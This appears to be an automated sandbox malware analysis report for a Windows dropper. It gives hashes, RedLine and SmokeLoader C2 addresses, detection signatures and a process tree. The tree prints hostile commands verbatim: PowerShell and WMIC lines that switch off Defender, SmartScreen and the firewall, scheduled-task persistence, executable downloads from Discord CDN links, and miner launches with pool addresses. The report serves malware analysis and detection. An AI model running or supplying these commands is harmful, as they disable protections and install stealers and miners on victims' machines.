Analysis
-
max time kernel
1802s -
max time network
1764s -
platform
windows11_x64 -
resource
win11 -
submitted
18-09-2021 19:15
General
-
Target
a4806a7fffe5d04d7ccd764890bd4ef3.exe
-
Size
6.7MB
-
MD5
a4806a7fffe5d04d7ccd764890bd4ef3
-
SHA1
5e16eaa0a86f73f0a389f570555dbd10bf48c135
-
SHA256
5248d778a816ffaed27e465deec140f4d79478a4aca7c5968d6eb926ac7c94f1
-
SHA512
5af0704f4f2396ad9cc1d82076eae14b7da8994bb538a85bcb0bd0de31ffb10a694d901c90a1b242732030129af3ef4feef7b79e1e72865cb5e634b371be9d71
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
redline
Botnet
matthew14
C2
193.188.21.209:41939
Extracted
Family
smokeloader
Version
2020
C2
http://venerynnet1.top/
http://kevonahira2.top/
http://vegangelist3.top/
http://kingriffaele4.top/
http://arakeishant5.top/
rc4.i32
rc4.i32
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Modifies security service 2 TTPs 1 IoCs
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 30 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 55 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 64 IoCs
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 33 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 38 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 16 IoCs
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
-
Suspicious use of SetThreadContext 9 IoCs
-
Drops file in Program Files directory 17 IoCs
-
Drops file in Windows directory 28 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 26 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 55 IoCs
-
Kills process with taskkill 2 IoCs
-
Modifies data under HKEY_USERS 46 IoCs
-
Modifies registry class 4 IoCs
-
Modifies system certificate store 2 TTPs 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 4 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS050378E0\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22398ca1246818a50.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22398ca1246818a50.exeWed22398ca1246818a50.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmpCFD3_tmp.exe7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22214190470.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed22214190470.exeWed22214190470.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b251ef55.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed226b251ef55.exeWed226b251ef55.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2236d9fce9bd29d13.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2236d9fce9bd29d13.exeWed2236d9fce9bd29d13.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Suspicious use of SetThreadContext
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\429925.exe"C:\ProgramData\429925.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\1847987.exe"C:\ProgramData\1847987.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\7341736.exe"C:\ProgramData\7341736.exe"8⤵
- Suspicious use of SetThreadContext
-
C:\ProgramData\7341736.exe"C:\ProgramData\7341736.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 10689⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\ProgramData\3722600.exe"C:\ProgramData\3722600.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5264 -s 17288⤵
- Program crash
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5264 -s 17288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"C:\Users\Admin\AppData\Local\Temp\ShadowVPNInstaller_v5.exe"7⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 5008⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 7968⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 1528⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecMa14.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmpF424_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpF424_tmp.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tmpF424_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmpF424_tmp.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5312 -s 17288⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3764 -s 6088⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-K18SP.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-K18SP.tmp\setup_2.tmp" /SL5="$202C6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-QT3PU.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-QT3PU.tmp\setup_2.tmp" /SL5="$202F2,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2246f9dc6f4f9.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2246f9dc6f4f9.exeWed2246f9dc6f4f9.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2260b25c317.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2260b25c317.exeWed2260b25c317.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2260b25c317.exeC:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed2260b25c317.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed229825989c.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed229825989c.exeWed229825989c.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Documents\Z9uHK39aGC1HEckX8Gl00PTq.exe"C:\Users\Admin\Documents\Z9uHK39aGC1HEckX8Gl00PTq.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\QavnIQlHaac0ArMZdOVziJxL.exe"C:\Users\Admin\Documents\QavnIQlHaac0ArMZdOVziJxL.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\GcvgxWxS4p9M2CdQDhIQEwSX.exe"C:\Users\Admin\Documents\GcvgxWxS4p9M2CdQDhIQEwSX.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\210vMQT4tiPANt3XwBoNtI6u.exe"C:\Users\Admin\Documents\210vMQT4tiPANt3XwBoNtI6u.exe"6⤵
-
C:\Users\Admin\Documents\HPcmbBN7c3ptIhy4eTNtH9mp.exe"C:\Users\Admin\Documents\HPcmbBN7c3ptIhy4eTNtH9mp.exe"6⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\8LU8uNJHmdWj5DXkFQa4Th64.exe"C:\Users\Admin\Documents\8LU8uNJHmdWj5DXkFQa4Th64.exe"6⤵
-
C:\Users\Admin\Documents\aKYcmuQ3Cb9C0pcSzc6x1leX.exe"C:\Users\Admin\Documents\aKYcmuQ3Cb9C0pcSzc6x1leX.exe"6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\4E1D.bat C:\Users\Admin\Documents\aKYcmuQ3Cb9C0pcSzc6x1leX.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""8⤵
-
C:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888744744606396426/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""8⤵
-
C:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4E0B.tmp\4E0C.tmp\extd.exe "" "" "" "" "" "" "" "" ""8⤵
-
C:\Users\Admin\AppData\Local\Temp\13760\zJORGHtr.exezJORGHtr.exe8⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\BF17.bat C:\Users\Admin\AppData\Local\Temp\13760\zJORGHtr.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888735541456142367/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BF15.tmp\BF16.tmp\extd.exe "" "" "" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\13835\zJORGHtr.exezJORGHtr.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\fl.exe"C:\Users\Admin\AppData\Local\Temp\fl.exe"11⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)12⤵
- Modifies security service
-
C:\ProgramData\Systemd\dllhoster.exe-o pool.supportxmr.com:5555 -u 44z5DkTXSYBfYECbt5TdQ2SUpyAQJmmGubyUsWqzcByeKwxwsWSZabZQMuE39hedNcTL15eK8kHrAeZMUdGGmHQHBzNH5db -p bloodteam --coin=XMR --cpu-max-threads-hint=3512⤵
-
C:\Users\Admin\Documents\ydfiOOXnC4psO1pK4scSJo4G.exe"C:\Users\Admin\Documents\ydfiOOXnC4psO1pK4scSJo4G.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\ydfiOOXnC4psO1pK4scSJo4G.exe"C:\Users\Admin\Documents\ydfiOOXnC4psO1pK4scSJo4G.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\295Syh9L4WTSC9qXuM9m4Ick.exe"C:\Users\Admin\Documents\295Syh9L4WTSC9qXuM9m4Ick.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\295Syh9L4WTSC9qXuM9m4Ick.exeC:\Users\Admin\Documents\295Syh9L4WTSC9qXuM9m4Ick.exe7⤵
-
C:\Users\Admin\Documents\ev0_hBTwnM7tr7NMj3_lVkTh.exe"C:\Users\Admin\Documents\ev0_hBTwnM7tr7NMj3_lVkTh.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\eRYDT_iEqkSLWcOZ2xfnzer3.exe"C:\Users\Admin\Documents\eRYDT_iEqkSLWcOZ2xfnzer3.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 2607⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\H7nLI9626PiC45fqjMgl8qdT.exe"C:\Users\Admin\Documents\H7nLI9626PiC45fqjMgl8qdT.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"7⤵
-
C:\Users\Admin\Documents\2Bj585KDtRj83BDtreCCFCgu.exe"C:\Users\Admin\Documents\2Bj585KDtRj83BDtreCCFCgu.exe"8⤵
-
C:\Users\Admin\Documents\c7gvBIpKxsw5pNGb0pYc0yPo.exe"C:\Users\Admin\Documents\c7gvBIpKxsw5pNGb0pYc0yPo.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 2409⤵
- Program crash
-
C:\Users\Admin\Documents\zVqUtyHiGy7clNLeqrS5bjj6.exe"C:\Users\Admin\Documents\zVqUtyHiGy7clNLeqrS5bjj6.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSFEAE.tmp\Install.exe.\Install.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS83.tmp\Install.exe.\Install.exe /S /site_id "668658"10⤵
- Checks BIOS information in registry
- Enumerates connected drives
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True15⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True14⤵
- Blocklisted process makes network request
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True15⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
